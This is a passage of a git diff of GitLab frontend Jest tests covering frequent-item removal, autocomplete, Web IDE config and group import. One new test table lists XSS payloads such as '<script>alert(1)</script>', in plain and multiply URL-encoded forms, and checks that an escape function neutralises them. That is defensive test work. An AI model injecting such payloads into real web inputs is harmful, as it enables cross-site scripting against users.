${'title'} | ${findAllTitles} | ${1}
@@ -111,8 +119,37 @@ describe('FrequentItemsListItemComponent', () => {
expect(selector()).toHaveLength(expected);
});
+ it('renders remove button within item when `isItemsListEditable` is true', async () => {
+ await toggleItemsListEditablity();
+
+ const removeButton = findRemoveButton();
+ expect(removeButton.exists()).toBe(true);
+ expect(removeButton.attributes('title')).toBe('Remove');
+ expect(removeButton.findComponent(GlIcon).props('name')).toBe('close');
+ });
+
+ it('dispatches action `removeFrequentItem` when remove button is clicked', async () => {
+ await toggleItemsListEditablity();
+
+ jest.spyOn(store, 'dispatch');
+
+ const removeButton = findRemoveButton();
+ removeButton.vm.$emit(
+ 'click',
+ { stopPropagation: jest.fn(), preventDefault: jest.fn() },
+ mockProject.id,
+ );
+
+ await nextTick();
+
+ expect(store.dispatch).toHaveBeenCalledWith(
+ `${TEST_VUEX_MODULE}/removeFrequentItem`,
+ mockProject.id,
+ );
+ });
+
it('tracks when item link is clicked', () => {
- const link = wrapper.findComponent(GlButton);
+ const link = wrapper.findByTestId('frequent-item-link');
link.vm.$emit('click');
diff --git a/spec/frontend/frequent_items/components/frequent_items_list_spec.js b/spec/frontend/frequent_items/components/frequent_items_list_spec.js
index 9f08a432a3d..d024925f62b 100644
--- a/spec/frontend/frequent_items/components/frequent_items_list_spec.js
+++ b/spec/frontend/frequent_items/components/frequent_items_list_spec.js
@@ -18,6 +18,7 @@ describe('FrequentItemsListComponent', () => {
namespace: 'projects',
items: mockFrequentProjects,
isFetchFailed: false,
+ isItemRemovalFailed: false,
hasSearchQuery: false,
matcher: 'lab',
...props,
@@ -51,22 +52,34 @@ describe('FrequentItemsListComponent', () => {
});
describe('fetched item messages', () => {
- it('should return appropriate empty list message based on value of `localStorageFailed` prop with projects', async () => {
+ it('should show default empty list message', async () => {
createComponent({
- isFetchFailed: true,
+ items: [],
});
- expect(wrapper.vm.listEmptyMessage).toBe(
- 'This feature requires browser localStorage support',
+ expect(wrapper.findByTestId('frequent-items-list-empty').text()).toContain(
+ 'Projects you visit often will appear here',
);
-
- wrapper.setProps({
- isFetchFailed: false,
- });
- await nextTick();
-
- expect(wrapper.vm.listEmptyMessage).toBe('Projects you visit often will appear here');
});
+
+ it.each`
+ isFetchFailed | isItemRemovalFailed
+ ${true} | ${false}
+ ${false} | ${true}
+ `(
+ 'should show failure message when `isFetchFailed` is $isFetchFailed or `isItemRemovalFailed` is $isItemRemovalFailed',
+ ({ isFetchFailed, isItemRemovalFailed }) => {
+ createComponent({
+ items: [],
+ isFetchFailed,
+ isItemRemovalFailed,
+ });
+
+ expect(wrapper.findByTestId('frequent-items-list-empty').text()).toContain(
+ 'This feature requires browser localStorage support',
+ );
+ },
+ );
});
describe('searched item messages', () => {
diff --git a/spec/frontend/frequent_items/store/actions_spec.js b/spec/frontend/frequent_items/store/actions_spec.js
index 3fc3eaf52a2..4f998cc26da 100644
--- a/spec/frontend/frequent_items/store/actions_spec.js
+++ b/spec/frontend/frequent_items/store/actions_spec.js
@@ -5,6 +5,7 @@ import * as types from '~/frequent_items/store/mutation_types';
import state from '~/frequent_items/store/state';
import AccessorUtilities from '~/lib/utils/accessor';
import axios from '~/lib/utils/axios_utils';
+import { useLocalStorageSpy } from 'helpers/local_storage_helper';
import {
mockNamespace,
mockStorageKey,
@@ -13,6 +14,7 @@ import {
} from '../mock_data';
describe('Frequent Items Dropdown Store Actions', () => {
+ useLocalStorageSpy();
let mockedState;
let mock;
@@ -52,6 +54,18 @@ describe('Frequent Items Dropdown Store Actions', () => {
});
});
+ describe('toggleItemsListEditablity', () => {
+ it('should toggle items list editablity', () => {
+ return testAction(
+ actions.toggleItemsListEditablity,
+ null,
+ mockedState,
+ [{ type: types.TOGGLE_ITEMS_LIST_EDITABILITY }],
+ [],
+ );
+ });
+ });
+
describe('requestFrequentItems', () => {
it('should request frequent items', () => {
return testAction(
@@ -211,4 +225,77 @@ describe('Frequent Items Dropdown Store Actions', () => {
);
});
});
+
+ describe('removeFrequentItemSuccess', () => {
+ it('should remove frequent item on success', () => {
+ return testAction(
+ actions.removeFrequentItemSuccess,
+ { itemId: 1 },
+ mockedState,
+ [
+ {
+ type: types.RECEIVE_REMOVE_FREQUENT_ITEM_SUCCESS,
+ payload: { itemId: 1 },
+ },
+ ],
+ [],
+ );
+ });
+ });
+
+ describe('removeFrequentItemError', () => {
+ it('should should not remove frequent item on failure', () => {
+ return testAction(
+ actions.removeFrequentItemError,
+ null,
+ mockedState,
+ [{ type: types.RECEIVE_REMOVE_FREQUENT_ITEM_ERROR }],
+ [],
+ );
+ });
+ });
+
+ describe('removeFrequentItem', () => {
+ beforeEach(() => {
+ mockedState.items = [...mockFrequentProjects];
+ window.localStorage.setItem(mockStorageKey, JSON.stringify(mockFrequentProjects));
+ });
+
+ it('should remove provided itemId from localStorage', () => {
+ jest.spyOn(AccessorUtilities, 'canUseLocalStorage').mockReturnValue(true);
+
+ actions.removeFrequentItem(
+ { commit: jest.fn(), dispatch: jest.fn(), state: mockedState },
+ mockFrequentProjects[0].id,
+ );
+
+ expect(window.localStorage.getItem(mockStorageKey)).toBe(
+ JSON.stringify(mockFrequentProjects.slice(1)), // First item was removed
+ );
+ });
+
+ it('should dispatch `removeFrequentItemSuccess` on localStorage update success', () => {
+ jest.spyOn(AccessorUtilities, 'canUseLocalStorage').mockReturnValue(true);
+
+ return testAction(
+ actions.removeFrequentItem,
+ mockFrequentProjects[0].id,
+ mockedState,
+ [],
+ [{ type: 'removeFrequentItemSuccess', payload: mockFrequentProjects[0].id }],
+ );
+ });
+
+ it('should dispatch `removeFrequentItemError` on localStorage update failure', () => {
+ jest.spyOn(AccessorUtilities, 'canUseLocalStorage').mockReturnValue(false);
+
+ return testAction(
+ actions.removeFrequentItem,
+ mockFrequentProjects[0].id,
+ mockedState,
+ [],
+ [{ type: 'removeFrequentItemError' }],
+ );
+ });
+ });
});
diff --git a/spec/frontend/frequent_items/store/mutations_spec.js b/spec/frontend/frequent_items/store/mutations_spec.js
index e593c9fae58..1e1878c3377 100644
--- a/spec/frontend/frequent_items/store/mutations_spec.js
+++ b/spec/frontend/frequent_items/store/mutations_spec.js
@@ -44,6 +44,18 @@ describe('Frequent Items dropdown mutations', () => {
});
});
+ describe('TOGGLE_ITEMS_LIST_EDITABILITY', () => {
+ it('should toggle items list editablity', () => {
+ mutations[types.TOGGLE_ITEMS_LIST_EDITABILITY](stateCopy);
+
+ expect(stateCopy.isItemsListEditable).toEqual(true);
+
+ mutations[types.TOGGLE_ITEMS_LIST_EDITABILITY](stateCopy);
+
+ expect(stateCopy.isItemsListEditable).toEqual(false);
+ });
+ });
+
describe('REQUEST_FREQUENT_ITEMS', () => {
it('should set view states when requesting frequent items', () => {
mutations[types.REQUEST_FREQUENT_ITEMS](stateCopy);
@@ -114,4 +126,27 @@ describe('Frequent Items dropdown mutations', () => {
expect(stateCopy.isFetchFailed).toEqual(true);
});
});
+
+ describe('RECEIVE_REMOVE_FREQUENT_ITEM_SUCCESS', () => {
+ it('should remove item with provided itemId from the items', () => {
+ stateCopy.isItemRemovalFailed = true;
+ stateCopy.items = mockFrequentProjects;
+
+ mutations[types.RECEIVE_REMOVE_FREQUENT_ITEM_SUCCESS](stateCopy, mockFrequentProjects[0].id);
+
+ expect(stateCopy.items).toHaveLength(mockFrequentProjects.length - 1);
+ expect(stateCopy.items).toEqual([...mockFrequentProjects.slice(1)]);
+ expect(stateCopy.isItemRemovalFailed).toBe(false);
+ });
+ });
+
+ describe('RECEIVE_REMOVE_FREQUENT_ITEM_ERROR', () => {
+ it('should remove item with provided itemId from the items', () => {
+ stateCopy.isItemRemovalFailed = false;
+
+ mutations[types.RECEIVE_REMOVE_FREQUENT_ITEM_ERROR](stateCopy);
+
+ expect(stateCopy.isItemRemovalFailed).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/gfm_auto_complete/mock_data.js b/spec/frontend/gfm_auto_complete/mock_data.js
index 9c5a9d7ef3d..d58ccaf0f39 100644
--- a/spec/frontend/gfm_auto_complete/mock_data.js
+++ b/spec/frontend/gfm_auto_complete/mock_data.js
@@ -37,8 +37,8 @@ export const crmContactsMock = [
{
id: 1,
email: 'contact.1@email.com',
- firstName: 'Contact',
- lastName: 'One',
+ first_name: 'Contact',
+ last_name: 'One',
search: 'contact.1@email.com',
state: 'active',
set: false,
@@ -46,8 +46,8 @@ export const crmContactsMock = [
{
id: 2,
email: 'contact.2@email.com',
- firstName: 'Contact',
- lastName: 'Two',
+ first_name: 'Contact',
+ last_name: 'Two',
search: 'contact.2@email.com',
state: 'active',
set: false,
@@ -55,8 +55,8 @@ export const crmContactsMock = [
{
id: 3,
email: 'contact.3@email.com',
- firstName: 'Contact',
- lastName: 'Three',
+ first_name: 'Contact',
+ last_name: 'Three',
search: 'contact.3@email.com',
state: 'inactive',
set: false,
@@ -64,8 +64,8 @@ export const crmContactsMock = [
{
id: 4,
email: 'contact.4@email.com',
- firstName: 'Contact',
- lastName: 'Four',
+ first_name: 'Contact',
+ last_name: 'Four',
search: 'contact.4@email.com',
state: 'inactive',
set: true,
@@ -73,8 +73,8 @@ export const crmContactsMock = [
{
id: 5,
email: 'contact.5@email.com',
- firstName: 'Contact',
- lastName: 'Five',
+ first_name: 'Contact',
+ last_name: 'Five',
search: 'contact.5@email.com',
state: 'active',
set: true,
@@ -82,8 +82,8 @@ export const crmContactsMock = [
{
id: 5,
email: 'contact.6@email.com',
- firstName: 'Contact',
- lastName: 'Six',
+ first_name: 'Contact',
+ last_name: 'Six',
search: 'contact.6@email.com',
state: 'active',
set: undefined, // On purpose
diff --git a/spec/frontend/gfm_auto_complete_spec.js b/spec/frontend/gfm_auto_complete_spec.js
index eeef92d4183..cc2dc084e47 100644
--- a/spec/frontend/gfm_auto_complete_spec.js
+++ b/spec/frontend/gfm_auto_complete_spec.js
@@ -4,6 +4,7 @@ import $ from 'jquery';
import labelsFixture from 'test_fixtures/autocomplete_sources/labels.json';
import { setHTMLFixture, resetHTMLFixture } from 'helpers/fixtures';
import GfmAutoComplete, {
+ escape,
membersBeforeSave,
highlighter,
CONTACT_STATE_ACTIVE,
@@ -21,6 +22,20 @@ import {
crmContactsMock,
} from 'ee_else_ce_jest/gfm_auto_complete/mock_data';
+describe('escape', () => {
+ it.each`
+ xssPayload | escapedPayload
+ ${'<script>alert(1)</script>'} | ${'&lt;script&gt;alert(1)&lt;/script&gt;'}
+ ${'%3Cscript%3E alert(1) %3C%2Fscript%3E'} | ${'&lt;script&gt; alert(1) &lt;/script&gt;'}
+ ${'%253Cscript%253E alert(1) %253C%252Fscript%253E'} | ${'&lt;script&gt; alert(1) &lt;/script&gt;'}
+ `(
+ 'escapes the input string correctly accounting for multiple encoding',
+ ({ xssPayload, escapedPayload }) => {
+ expect(escape(xssPayload)).toBe(escapedPayload);
+ },
+ );
+});
+
describe('GfmAutoComplete', () => {
const fetchDataMock = { fetchData: jest.fn() };
let gfmAutoCompleteCallbacks = GfmAutoComplete.prototype.getDefaultCallbacks.call(fetchDataMock);
@@ -590,7 +605,7 @@ describe('GfmAutoComplete', () => {
id: 5,
title: '${search}<script>oh no $', // eslint-disable-line no-template-curly-in-string
}),
- ).toBe('<li><small>5</small> &dollar;{search}&lt;script&gt;oh no &dollar;</li>');
+ ).toBe('<li><small>5</small> &amp;dollar;{search}&lt;script&gt;oh no &amp;dollar;</li>');
});
});
@@ -636,7 +651,7 @@ describe('GfmAutoComplete', () => {
availabilityStatus: '',
}),
).toBe(
- '<li>IMG my-group <small>&dollar;{search}&lt;script&gt;oh no &dollar;</small> <i class="icon"/></li>',
+ '<li>IMG my-group <small>&amp;dollar;{search}&lt;script&gt;oh no &amp;dollar;</small> <i class="icon"/></li>',
);
});
@@ -813,7 +828,7 @@ describe('GfmAutoComplete', () => {
const title = '${search}<script>oh no $'; // eslint-disable-line no-template-curly-in-string
expect(GfmAutoComplete.Labels.templateFunction(color, title)).toBe(
- '<li><span class="dropdown-label-box" style="background: #123456"></span> &dollar;{search}&lt;script&gt;oh no &dollar;</li>',
+ '<li><span class="dropdown-label-box" style="background: #123456"></span> &amp;dollar;{search}&lt;script&gt;oh no &amp;dollar;</li>',
);
});
});
@@ -868,7 +883,7 @@ describe('GfmAutoComplete', () => {
const title = '${search}<script>oh no $'; // eslint-disable-line no-template-curly-in-string
expect(GfmAutoComplete.Milestones.templateFunction(title, expired)).toBe(
- '<li>&dollar;{search}&lt;script&gt;oh no &dollar;</li>',
+ '<li>&amp;dollar;{search}&lt;script&gt;oh no &amp;dollar;</li>',
);
});
});
@@ -925,7 +940,9 @@ describe('GfmAutoComplete', () => {
const expectContacts = ({ input, output }) => {
triggerDropdown(input);
- expect(getDropdownItems()).toEqual(output.map((contact) => contact.email));
+ expect(getDropdownItems()).toEqual(
+ output.map((contact) => `${contact.first_name} ${contact.last_name} ${contact.email}`),
+ );
};
describe('with no contacts assigned', () => {
diff --git a/spec/frontend/group_settings/components/shared_runners_form_spec.js b/spec/frontend/group_settings/components/shared_runners_form_spec.js
index 5282c0ed839..85475c749b0 100644
--- a/spec/frontend/group_settings/components/shared_runners_form_spec.js
+++ b/spec/frontend/group_settings/components/shared_runners_form_spec.js
@@ -10,7 +10,7 @@ jest.mock('~/api/groups_api');
const GROUP_ID = '99';
const RUNNER_ENABLED_VALUE = 'enabled';
const RUNNER_DISABLED_VALUE = 'disabled_and_unoverridable';
-const RUNNER_ALLOW_OVERRIDE_VALUE = 'disabled_with_override';
+const RUNNER_ALLOW_OVERRIDE_VALUE = 'disabled_and_overridable';
describe('group_settings/components/shared_runners_form', () => {
let wrapper;
diff --git a/spec/frontend/ide/components/repo_editor_spec.js b/spec/frontend/ide/components/repo_editor_spec.js
index 211fee31a9c..9092d73571b 100644
--- a/spec/frontend/ide/components/repo_editor_spec.js
+++ b/spec/frontend/ide/components/repo_editor_spec.js
@@ -122,7 +122,7 @@ describe('RepoEditor', () => {
vm.$once('editorSetup', resolve);
});
- const createComponent = async ({ state = {}, activeFile = dummyFile.text, flags = {} } = {}) => {
+ const createComponent = async ({ state = {}, activeFile = dummyFile.text } = {}) => {
const store = prepareStore(state, activeFile);
wrapper = shallowMount(RepoEditor, {
store,
@@ -132,9 +132,6 @@ describe('RepoEditor', () => {
mocks: {
ContentViewer,
},
- provide: {
- glFeatures: flags,
- },
});
await waitForPromises();
vm = wrapper.vm;
@@ -196,12 +193,8 @@ describe('RepoEditor', () => {
});
describe('schema registration for .gitlab-ci.yml', () => {
- const setup = async (activeFile, flagIsOn = true) => {
- await createComponent({
- flags: {
- schemaLinting: flagIsOn,
- },
- });
+ const setup = async (activeFile) => {
+ await createComponent();
vm.editor.registerCiSchema = jest.fn();
if (activeFile) {
wrapper.setProps({ file: activeFile });
@@ -210,15 +203,13 @@ describe('RepoEditor', () => {
await nextTick();
};
it.each`
- flagIsOn | activeFile | shouldUseExtension | desc
- ${false} | ${dummyFile.markdown} | ${false} | ${`file is not CI config; should NOT`}
- ${true} | ${dummyFile.markdown} | ${false} | ${`file is not CI config; should NOT`}
- ${false} | ${dummyFile.ciConfig} | ${false} | ${`file is CI config; should NOT`}
- ${true} | ${dummyFile.ciConfig} | ${true} | ${`file is CI config; should`}
+ activeFile | shouldUseExtension | desc
+ ${dummyFile.markdown} | ${false} | ${`file is not CI config; should NOT`}
+ ${dummyFile.ciConfig} | ${true} | ${`file is CI config; should`}
`(
- 'when the flag is "$flagIsOn", $desc use extension',
- async ({ flagIsOn, activeFile, shouldUseExtension }) => {
- await setup(activeFile, flagIsOn);
+ 'when the activeFile is "$activeFile", $desc use extension',
+ async ({ activeFile, shouldUseExtension }) => {
+ await setup(activeFile);
if (shouldUseExtension) {
expect(applyExtensionSpy).toHaveBeenCalledWith({
diff --git a/spec/frontend/ide/lib/gitlab_web_ide/get_base_config_spec.js b/spec/frontend/ide/lib/gitlab_web_ide/get_base_config_spec.js
index 4b4e96f3b41..ed67a0948e4 100644
--- a/spec/frontend/ide/lib/gitlab_web_ide/get_base_config_spec.js
+++ b/spec/frontend/ide/lib/gitlab_web_ide/get_base_config_spec.js
@@ -3,20 +3,32 @@ import { TEST_HOST } from 'helpers/test_constants';
const TEST_GITLAB_WEB_IDE_PUBLIC_PATH = 'test/gitlab-web-ide/public/path';
const TEST_GITLAB_URL = 'https://gdk.test/';
+const TEST_RELATIVE_URL_ROOT = '/gl_rel_root';
describe('~/ide/lib/gitlab_web_ide/get_base_config', () => {
- it('returns base properties for @gitlab/web-ide config', () => {
+ beforeEach(() => {
// why: add trailing "/" to test that it gets removed
process.env.GITLAB_WEB_IDE_PUBLIC_PATH = `${TEST_GITLAB_WEB_IDE_PUBLIC_PATH}/`;
window.gon.gitlab_url = TEST_GITLAB_URL;
+ window.gon.relative_url_root = '';
+ });
- // act
+ it('with default, returns base properties for @gitlab/web-ide config', () => {
const actual = getBaseConfig();
- // asset
expect(actual).toEqual({
baseUrl: `${TEST_HOST}/${TEST_GITLAB_WEB_IDE_PUBLIC_PATH}`,
gitlabUrl: TEST_GITLAB_URL,
});
});
+
+ it('with relative_url_root, returns baseUrl with relative url root', () => {
+ window.gon.relative_url_root = TEST_RELATIVE_URL_ROOT;
+
+ const actual = getBaseConfig();
+
+ expect(actual).toMatchObject({
+ baseUrl: `${TEST_HOST}${TEST_RELATIVE_URL_ROOT}/${TEST_GITLAB_WEB_IDE_PUBLIC_PATH}`,
+ });
+ });
});
diff --git a/spec/frontend/ide/stores/modules/commit/actions_spec.js b/spec/frontend/ide/stores/modules/commit/actions_spec.js
index 4e8467de759..8601e13f7ca 100644
--- a/spec/frontend/ide/stores/modules/commit/actions_spec.js
+++ b/spec/frontend/ide/stores/modules/commit/actions_spec.js
@@ -366,17 +366,38 @@ describe('IDE commit module actions', () => {
});
describe('merge request', () => {
- it('redirects to new merge request page', async () => {
- jest.spyOn(eventHub, '$on').mockImplementation();
+ it.each`
+ branchName | targetBranchName | branchNameInURL | targetBranchInURL
+ ${'foo'} | ${'main'} | ${'foo'} | ${'main'}
+ ${'foo#bar'} | ${'main'} | ${'foo%23bar'} | ${'main'}
+ ${'foo#bar'} | ${'not#so#main'} | ${'foo%23bar'} | ${'not%23so%23main'}
+ `(
+ 'redirects to the correct new MR page when new branch is "$branchName" and target branch is "$targetBranchName"',
+ async ({ branchName, targetBranchName, branchNameInURL, targetBranchInURL }) => {
+ Object.assign(store.state.projects.abcproject, {
+ branches: {
+ [targetBranchName]: {
+ name: targetBranchName,
+ workingReference: '1',
+ commit: {
+ id: TEST_COMMIT_SHA,
+ },
+ can_push: true,
+ },
+ },
+ });
+ store.state.currentBranchId = targetBranchName;
+ store.state.commit.newBranchName = branchName;
- store.state.commit.commitAction = COMMIT_TO_NEW_BRANCH;
- store.state.commit.shouldCreateMR = true;
+ store.state.commit.commitAction = COMMIT_TO_NEW_BRANCH;
+ store.state.commit.shouldCreateMR = true;
- await store.dispatch('commit/commitChanges');
- expect(visitUrl).toHaveBeenCalledWith(
- `webUrl/-/merge_requests/new?merge_request[source_branch]=${store.getters['commit/placeholderBranchName']}&merge_request[target_branch]=main&nav_source=webide`,
- );
- });
+ await store.dispatch('commit/commitChanges');
+ expect(visitUrl).toHaveBeenCalledWith(
+ `webUrl/-/merge_requests/new?merge_request[source_branch]=${branchNameInURL}&merge_request[target_branch]=${targetBranchInURL}&nav_source=webide`,
+ );
+ },
+ );
it('does not redirect to new merge request page when shouldCreateMR is not checked', async () => {
jest.spyOn(eventHub, '$on').mockImplementation();
diff --git a/spec/frontend/ide/stores/modules/terminal/actions/checks_spec.js b/spec/frontend/ide/stores/modules/terminal/actions/checks_spec.js
index 8d21088bcaf..09be1e333b3 100644
--- a/spec/frontend/ide/stores/modules/terminal/actions/checks_spec.js
+++ b/spec/frontend/ide/stores/modules/terminal/actions/checks_spec.js
@@ -10,7 +10,11 @@ import {
import * as messages from '~/ide/stores/modules/terminal/messages';
import * as mutationTypes from '~/ide/stores/modules/terminal/mutation_types';
import axios from '~/lib/utils/axios_utils';
-import httpStatus, { HTTP_STATUS_UNPROCESSABLE_ENTITY } from '~/lib/utils/http_status';
+import {
+ HTTP_STATUS_FORBIDDEN,
+ HTTP_STATUS_NOT_FOUND,
+ HTTP_STATUS_UNPROCESSABLE_ENTITY,
+} from '~/lib/utils/http_status';
const TEST_PROJECT_PATH = 'lorem/root';
const TEST_BRANCH_ID = 'main';
@@ -102,7 +106,7 @@ describe('IDE store terminal check actions', () => {
);
});
- [httpStatus.FORBIDDEN, httpStatus.NOT_FOUND].forEach((status) => {
+ [HTTP_STATUS_FORBIDDEN, HTTP_STATUS_NOT_FOUND].forEach((status) => {
it(`hides tab, when status is ${status}`, () => {
const payload = { response: { status } };
diff --git a/spec/frontend/ide/stores/modules/terminal/actions/session_controls_spec.js b/spec/frontend/ide/stores/modules/terminal/actions/session_controls_spec.js
index df365442c67..9fd5f1a38d7 100644
--- a/spec/frontend/ide/stores/modules/terminal/actions/session_controls_spec.js
+++ b/spec/frontend/ide/stores/modules/terminal/actions/session_controls_spec.js
@@ -6,7 +6,7 @@ import { STARTING, PENDING, STOPPING, STOPPED } from '~/ide/stores/modules/termi
import * as messages from '~/ide/stores/modules/terminal/messages';
import * as mutationTypes from '~/ide/stores/modules/terminal/mutation_types';
import axios from '~/lib/utils/axios_utils';
-import httpStatus, { HTTP_STATUS_UNPROCESSABLE_ENTITY } from '~/lib/utils/http_status';
+import { HTTP_STATUS_NOT_FOUND, HTTP_STATUS_UNPROCESSABLE_ENTITY } from '~/lib/utils/http_status';
jest.mock('~/flash');
@@ -285,7 +285,7 @@ describe('IDE store terminal session controls actions', () => {
);
});
- [httpStatus.NOT_FOUND, HTTP_STATUS_UNPROCESSABLE_ENTITY].forEach((status) => {
+ [HTTP_STATUS_NOT_FOUND, HTTP_STATUS_UNPROCESSABLE_ENTITY].forEach((status) => {
it(`dispatches request and startSession on ${status}`, () => {
mock
.onPost(state.session.retryPath, { branch: rootState.currentBranchId, format: 'json' })
diff --git a/spec/frontend/ide/stores/modules/terminal/messages_spec.js b/spec/frontend/ide/stores/modules/terminal/messages_spec.js
index 2a802d6b4af..f99496a4b98 100644
--- a/spec/frontend/ide/stores/modules/terminal/messages_spec.js
+++ b/spec/frontend/ide/stores/modules/terminal/messages_spec.js
@@ -1,7 +1,11 @@
import { escape } from 'lodash';
import { TEST_HOST } from 'spec/test_constants';
import * as messages from '~/ide/stores/modules/terminal/messages';
-import httpStatus, { HTTP_STATUS_UNPROCESSABLE_ENTITY } from '~/lib/utils/http_status';
+import {
+ HTTP_STATUS_FORBIDDEN,
+ HTTP_STATUS_NOT_FOUND,
+ HTTP_STATUS_UNPROCESSABLE_ENTITY,
+} from '~/lib/utils/http_status';
import { sprintf } from '~/locale';
const TEST_HELP_URL = `${TEST_HOST}/help`;
@@ -26,13 +30,13 @@ describe('IDE store terminal messages', () => {
});
it('returns permission error, with status FORBIDDEN', () => {
- const result = messages.configCheckError(httpStatus.FORBIDDEN, TEST_HELP_URL);
+ const result = messages.configCheckError(HTTP_STATUS_FORBIDDEN, TEST_HELP_URL);
expect(result).toBe(messages.ERROR_PERMISSION);
});
it('returns unexpected error, with unexpected status', () => {
- const result = messages.configCheckError(httpStatus.NOT_FOUND, TEST_HELP_URL);
+ const result = messages.configCheckError(HTTP_STATUS_NOT_FOUND, TEST_HELP_URL);
expect(result).toBe(messages.UNEXPECTED_ERROR_CONFIG);
});
diff --git a/spec/frontend/import_entities/components/import_status_spec.js b/spec/frontend/import_entities/components/import_status_spec.js
index 686a21e3923..56c4ed827d7 100644
--- a/spec/frontend/import_entities/components/import_status_spec.js
+++ b/spec/frontend/import_entities/components/import_status_spec.js
@@ -18,6 +18,7 @@ describe('Import entities status component', () => {
describe('success status', () => {
const getStatusText = () => wrapper.findComponent(GlBadge).text();
+ const getStatusIcon = () => wrapper.findComponent(GlBadge).props('icon');
it('displays finished status as complete when no stats are provided', () => {
createComponent({
@@ -38,6 +39,7 @@ describe('Import entities status component', () => {
});
expect(getStatusText()).toBe('Complete');
+ expect(getStatusIcon()).toBe('status-success');
});
it('displays finished status as partial when all stats items were processed', () => {
@@ -52,6 +54,7 @@ describe('Import entities status component', () => {
});
expect(getStatusText()).toBe('Partial import');
+ expect(getStatusIcon()).toBe('status-alert');
});
});
@@ -105,9 +108,9 @@ describe('Import entities status component', () => {
const getStatusIcon = () =>
wrapper.findComponent(GlAccordionItem).findComponent(GlIcon).props().name;
- const createComponentWithStats = ({ fetched, imported }) => {
+ const createComponentWithStats = ({ fetched, imported, status = 'created' }) => {
createComponent({
- status: 'created',
+ status,
stats: {
fetched: { label: fetched },
imported: { label: imported },
@@ -124,7 +127,7 @@ describe('Import entities status component', () => {
expect(getStatusIcon()).toBe('status-scheduled');
});
- it('displays running status when imported is not equal to fetched', () => {
+ it('displays running status when imported is not equal to fetched and import is not finished', () => {
createComponentWithStats({
fetched: 100,
imported: 10,
@@ -133,6 +136,16 @@ describe('Import entities status component', () => {
expect(getStatusIcon()).toBe('status-running');
});
+ it('displays alert status when imported is not equal to fetched and import is finished', () => {
+ createComponentWithStats({
+ fetched: 100,
+ imported: 10,
+ status: STATUSES.FINISHED,
+ });
+
+ expect(getStatusIcon()).toBe('status-alert');
+ });
+
it('displays success status when imported is equal to fetched', () => {
createComponentWithStats({
fetched: 100,
diff --git a/spec/frontend/import_entities/import_groups/components/import_actions_cell_spec.js b/spec/frontend/import_entities/import_groups/components/import_actions_cell_spec.js
index cd56f573011..da7fb4e060d 100644
--- a/spec/frontend/import_entities/import_groups/components/import_actions_cell_spec.js
+++ b/spec/frontend/import_entities/import_groups/components/import_actions_cell_spec.js
@@ -1,4 +1,4 @@
-import { GlButton, GlIcon } from '@gitlab/ui';
+import { GlButton, GlIcon, GlDropdown, GlDropdownItem } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import ImportActionsCell from '~/import_entities/import_groups/components/import_actions_cell.vue';
@@ -8,6 +8,7 @@ describe('import actions cell', () => {
const createComponent = (props) => {
wrapper = shallowMount(ImportActionsCell, {
propsData: {
+ isProjectsImportEnabled: false,
isFinished: false,
isAvailableForImport: false,
isInvalid: false,
@@ -78,4 +79,39 @@ describe('import actions cell', () => {
expect(wrapper.emitted('import-group')).toHaveLength(1);
});
+
+ describe.each`
+ isFinished | expectedAction
+ ${false} | ${'Import'}
+ ${true} | ${'Re-import'}
+ `(
+ 'when import projects is enabled, group is available for import and finish status is $status',
+ ({ isFinished, expectedAction }) => {
+ beforeEach(() => {
+ createComponent({ isProjectsImportEnabled: true, isAvailableForImport: true, isFinished });
+ });
+
+ it('render import dropdown', () => {
+ const dropdown = wrapper.findComponent(GlDropdown);
+ expect(dropdown.props('text')).toBe(`${expectedAction} with projects`);
+ expect(dropdown.findComponent(GlDropdownItem).text()).toBe(
+ `${expectedAction} without projects`,
+ );
+ });
+
+ it('request migrate projects by default', async () => {
+ const dropdown = wrapper.findComponent(GlDropdown);
+ dropdown.vm.$emit('click');
+
+ expect(wrapper.emitted('import-group')[0]).toStrictEqual([{ migrateProjects: true }]);
+ });
+
+ it('request not to migrate projects via dropdown option', async () => {
+ const dropdown = wrapper.findComponent(GlDropdown);
+ dropdown.findComponent(GlDropdownItem).vm.$emit('click');
+
+ expect(wrapper.emitted('import-group')[0]).toStrictEqual([{ migrateProjects: false }]);
+ });
+ },
+ );
});
diff --git a/spec/frontend/import_entities/import_groups/components/import_table_spec.js b/spec/frontend/import_entities/import_groups/components/import_table_spec.js
index f7a97f22d44..bd79e20e698 100644
--- a/spec/frontend/import_entities/import_groups/components/import_table_spec.js
+++ b/spec/frontend/import_entities/import_groups/components/import_table_spec.js
@@ -7,7 +7,7 @@ import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import { createAlert } from '~/flash';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_BAD_REQUEST } from '~/lib/utils/http_status';
import axios from '~/lib/utils/axios_utils';
import { STATUSES } from '~/import_entities/constants';
import { i18n, ROOT_NAMESPACE } from '~/import_entities/import_groups/constants';
@@ -49,6 +49,8 @@ describe('import table', () => {
const findImportSelectedButton = () =>
wrapper.findAll('button').wrappers.find((w) => w.text() === 'Import selected');
+ const findImportSelectedDropdown = () =>
+ wrapper.findAll('.gl-dropdown').wrappers.find((w) => w.text().includes('Import with projects'));
const findImportButtons = () =>
wrapper.findAll('button').wrappers.filter((w) => w.text() === 'Import');
const findPaginationDropdown = () => wrapper.find('[data-testid="page-size"]');
@@ -64,7 +66,12 @@ describe('import table', () => {
const selectRow = (idx) =>
wrapper.findAll('tbody td input[type=checkbox]').at(idx).setChecked(true);
- const createComponent = ({ bulkImportSourceGroups, importGroups, defaultTargetNamespace }) => {
+ const createComponent = ({
+ bulkImportSourceGroups,
+ importGroups,
+ defaultTargetNamespace,
+ glFeatures = {},
+ }) => {
apolloProvider = createMockApollo(
[
[
@@ -93,6 +100,9 @@ describe('import table', () => {
directives: {
GlTooltip: createMockDirective(),
},
+ provide: {
+ glFeatures,
+ },
apolloProvider,
});
};
@@ -258,7 +268,7 @@ describe('import table', () => {
},
});
- axiosMock.onPost('/import/bulk_imports.json').reply(httpStatus.BAD_REQUEST);
+ axiosMock.onPost('/import/bulk_imports.json').reply(HTTP_STATUS_BAD_REQUEST);
await waitForPromises();
await findImportButtons()[0].trigger('click');
@@ -530,16 +540,16 @@ describe('import table', () => {
mutation: importGroupsMutation,
variables: {
importRequests: [
- {
+ expect.objectContaining({
targetNamespace: AVAILABLE_NAMESPACES[0].fullPath,
newName: NEW_GROUPS[0].lastImportTarget.newName,
sourceGroupId: NEW_GROUPS[0].id,
- },
- {
